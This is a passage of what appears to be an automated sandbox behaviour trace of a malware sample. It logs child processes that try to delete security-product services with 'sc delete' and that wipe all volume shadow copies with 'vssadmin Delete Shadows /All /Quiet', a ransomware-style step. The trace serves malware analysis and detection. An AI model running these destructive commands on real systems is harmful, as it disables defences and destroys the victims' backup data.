(_String1="delete", _String2="failure") returned -2 [0079.460] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0079.460] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0079.461] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0079.461] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0079.461] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0079.461] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0079.461] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0079.461] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0079.461] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0079.461] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0079.461] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0079.461] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0079.461] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0079.461] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0079.461] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0079.461] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0079.461] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0079.461] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3b4370 [0079.465] OpenServiceW (hSCManager=0x3b4370, lpServiceName="TmProxy", dwDesiredAccess=0x10000) returned 0x0 [0079.465] GetLastError () returned 0x424 [0079.465] _itow (in: _Dest=0x424, _Radix=2554744 | out: _Dest=0x424) returned="1060" [0079.465] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffd8b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0079.466] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x26fb30, nSize=0x2, Arguments=0x26fb60 | out: lpBuffer="跀;") returned 0x62 [0079.467] GetFileType (hFile=0x120) returned 0x3 [0079.467] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3b8ea0 [0079.467] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3b8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n;", lpUsedDefaultChar=0x0) returned 98 [0079.467] WriteFile (in: hFile=0x120, lpBuffer=0x3b8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x26fad8, lpOverlapped=0x0 | out: lpBuffer=0x3b8ea0*, lpNumberOfBytesWritten=0x26fad8*=0x62, lpOverlapped=0x0) returned 1 [0079.467] LocalFree (hMem=0x3b8ea0) returned 0x0 [0079.467] LocalFree (hMem=0x3b8dc0) returned 0x0 [0079.467] LocalFree (hMem=0x0) returned 0x0 [0079.467] CloseServiceHandle (hSCObject=0x3b4370) returned 1 [0079.469] exit (_Code=1060) Thread: id = 127 os_tid = 0x9e4 Process: id = "64" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x43c5a000" os_pid = "0xa14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete ntrtscan" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 128 os_tid = 0x640 [0079.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcf890 | out: lpSystemTimeAsFileTime=0xcf890*(dwLowDateTime=0x38c60210, dwHighDateTime=0x1d62786)) [0079.517] GetCurrentProcessId () returned 0xa14 [0079.517] GetCurrentThreadId () returned 0x640 [0079.517] GetTickCount () returned 0x1149ec0 [0079.517] QueryPerformanceCounter (in: lpPerformanceCount=0xcf898 | out: lpPerformanceCount=0xcf898*=19939068328) returned 1 [0079.519] GetModuleHandleW (lpModuleName=0x0) returned 0xff290000 [0079.519] __set_app_type (_Type=0x1) [0079.519] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff297228) returned 0x0 [0079.520] __wgetmainargs (in: _Argc=0xff29b604, _Argv=0xff29b610, _Env=0xff29b608, _DoWildCard=0, _StartInfo=0xff29b050 | out: _Argc=0xff29b604, _Argv=0xff29b610, _Env=0xff29b608) returned 0 [0079.520] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.523] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0079.523] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0079.523] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0079.523] _wcsicmp (_String1="delete", _String2="query") returned -13 [0079.523] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0079.523] _wcsicmp (_String1="delete", _String2="start") returned -15 [0079.523] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0079.523] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0079.523] _wcsicmp (_String1="delete", _String2="control") returned 1 [0079.523] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0079.523] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0079.523] _wcsicmp (_String1="delete", _String2="config") returned 1 [0079.523] _wcsicmp (_String1="delete", _String2="description") returned -7 [0079.523] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0079.523] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0079.523] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0079.523] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0079.524] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0079.524] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0079.524] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0079.524] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0079.524] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0079.524] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0079.524] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0079.524] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0079.524] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0079.524] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0079.524] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0079.524] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0079.524] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0079.524] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0079.524] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x154370 [0079.529] OpenServiceW (hSCManager=0x154370, lpServiceName="ntrtscan", dwDesiredAccess=0x10000) returned 0x0 [0079.529] GetLastError () returned 0x424 [0079.529] _itow (in: _Dest=0x424, _Radix=849656 | out: _Dest=0x424) returned="1060" [0079.529] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff29b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0079.531] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xcf6b0, nSize=0x2, Arguments=0xcf6e0 | out: lpBuffer="跀\x15") returned 0x62 [0079.551] GetFileType (hFile=0x120) returned 0x3 [0079.551] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x158ea0 [0079.551] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x158ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x15", lpUsedDefaultChar=0x0) returned 98 [0079.551] WriteFile (in: hFile=0x120, lpBuffer=0x158ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xcf658, lpOverlapped=0x0 | out: lpBuffer=0x158ea0*, lpNumberOfBytesWritten=0xcf658*=0x62, lpOverlapped=0x0) returned 1 [0079.551] LocalFree (hMem=0x158ea0) returned 0x0 [0079.551] LocalFree (hMem=0x158dc0) returned 0x0 [0079.551] LocalFree (hMem=0x0) returned 0x0 [0079.551] CloseServiceHandle (hSCObject=0x154370) returned 1 [0079.554] exit (_Code=1060) Thread: id = 129 os_tid = 0xab4 Process: id = "65" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x4475f000" os_pid = "0xb2c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete ofcservice" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 130 os_tid = 0xb54 [0079.620] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f8b0 | out: lpSystemTimeAsFileTime=0x10f8b0*(dwLowDateTime=0x38d44a50, dwHighDateTime=0x1d62786)) [0079.620] GetCurrentProcessId () returned 0xb2c [0079.620] GetCurrentThreadId () returned 0xb54 [0079.620] GetTickCount () returned 0x1149f1d [0079.620] QueryPerformanceCounter (in: lpPerformanceCount=0x10f8b8 | out: lpPerformanceCount=0x10f8b8*=19949389945) returned 1 [0079.622] GetModuleHandleW (lpModuleName=0x0) returned 0xff330000 [0079.622] __set_app_type (_Type=0x1) [0079.622] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff337228) returned 0x0 [0079.622] __wgetmainargs (in: _Argc=0xff33b604, _Argv=0xff33b610, _Env=0xff33b608, _DoWildCard=0, _StartInfo=0xff33b050 | out: _Argc=0xff33b604, _Argv=0xff33b610, _Env=0xff33b608) returned 0 [0079.623] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.626] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0079.626] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0079.626] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0079.626] _wcsicmp (_String1="delete", _String2="query") returned -13 [0079.626] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0079.626] _wcsicmp (_String1="delete", _String2="start") returned -15 [0079.626] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0079.626] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0079.626] _wcsicmp (_String1="delete", _String2="control") returned 1 [0079.626] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0079.626] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0079.626] _wcsicmp (_String1="delete", _String2="config") returned 1 [0079.626] _wcsicmp (_String1="delete", _String2="description") returned -7 [0079.626] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0079.626] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0079.626] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0079.626] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0079.626] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0079.627] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0079.627] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0079.627] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0079.627] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0079.627] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0079.627] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0079.627] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0079.627] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0079.627] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0079.627] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0079.627] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0079.627] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0079.627] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0079.627] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x284370 [0079.631] OpenServiceW (hSCManager=0x284370, lpServiceName="ofcservice", dwDesiredAccess=0x10000) returned 0x0 [0079.632] GetLastError () returned 0x424 [0079.632] _itow (in: _Dest=0x424, _Radix=1111832 | out: _Dest=0x424) returned="1060" [0079.632] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff33b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0079.634] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x10f6d0, nSize=0x2, Arguments=0x10f700 | out: lpBuffer="跀(") returned 0x62 [0079.635] GetFileType (hFile=0x120) returned 0x3 [0079.635] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x288ea0 [0079.635] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x288ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n(", lpUsedDefaultChar=0x0) returned 98 [0079.635] WriteFile (in: hFile=0x120, lpBuffer=0x288ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x10f678, lpOverlapped=0x0 | out: lpBuffer=0x288ea0*, lpNumberOfBytesWritten=0x10f678*=0x62, lpOverlapped=0x0) returned 1 [0079.635] LocalFree (hMem=0x288ea0) returned 0x0 [0079.635] LocalFree (hMem=0x288dc0) returned 0x0 [0079.635] LocalFree (hMem=0x0) returned 0x0 [0079.635] CloseServiceHandle (hSCObject=0x284370) returned 1 [0079.637] exit (_Code=1060) Thread: id = 131 os_tid = 0xa64 Process: id = "66" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x44565000" os_pid = "0xb70" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "vssadmin.exe Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 132 os_tid = 0xaf0 Thread: id = 133 os_tid = 0xb40 Thread: id = 134 os_tid = 0xb60 Thread: id = 135 os_tid = 0xac8 Thread: id = 136 os_tid = 0xb14 Process: id = "67" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x44628000" os_pid = "0x7c0" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "66" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005b59f" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 137 os_tid = 0x8bc Thread: id = 138 os_tid = 0x7cc [0082.348] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe3d7c0 | out: lpSystemTimeAsFileTime=0xe3d7c0*(dwLowDateTime=0x395735f0, dwHighDateTime=0x1d62786)) [0082.348] GetCurrentProcessId () returned 0x7c0 [0082.348] GetCurrentThreadId () returned 0x7cc [0082.348] GetTickCount () returned 0x114a277 [0082.348] QueryPerformanceCounter (in: lpPerformanceCount=0xe3d7c8 | out: lpPerformanceCount=0xe3d7c8*=20222202935) returned 1 [0082.349] malloc (_Size=0x100) returned 0x578e80 Thread: id = 139 os_tid = 0xa70 Thread: id = 140 os_tid = 0xa6c Thread: id = 141 os_tid = 0x208 Thread: id = 142 os_tid = 0x934 Thread: id = 143 os_tid = 0x944 Thread: id = 164 os_tid = 0xa04 Thread: id = 168 os_tid = 0x4fc Process: id = "68" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x972d000" os_pid = "0xc8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "67" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dde1" [0xc000000f], "LOCAL" [0x7] Thread: id = 144 os_tid = 0xac0 Thread: id = 145 os_tid = 0x768 Thread: id = 146 os_tid = 0x764 Thread: id = 147 os_tid = 0x758 Thread: id = 148 os_tid = 0x724 Thread: id = 149 os_tid = 0x718 Thread: id = 150 os_tid = 0x714 Thread: id = 151 os_tid = 0x630 Thread: id = 152 os_tid = 0x154 Thread: id = 153 os_tid = 0x150 Thread: id = 154 os_tid = 0x120 Thread: id = 155 os_tid = 0x124 Thread: id = 156 os_tid = 0x118 Thread: id = 157 os_tid = 0xf0 Thread: id = 170 os_tid = 0xa60 Thread: id = 173 os_tid = 0x1c4 Process: id = "69" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4542d000" os_pid = "0x90c" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "67" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005b8f9" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 158 os_tid = 0x9a4 Thread: id = 159 os_tid = 0x9d4 Thread: id = 160 os_tid = 0x964 Thread: id = 161 os_tid = 0x9c4 Thread: id = 162 os_tid = 0x994 Thread: id = 163 os_tid = 0x974 Thread: id = 169 os_tid = 0xae8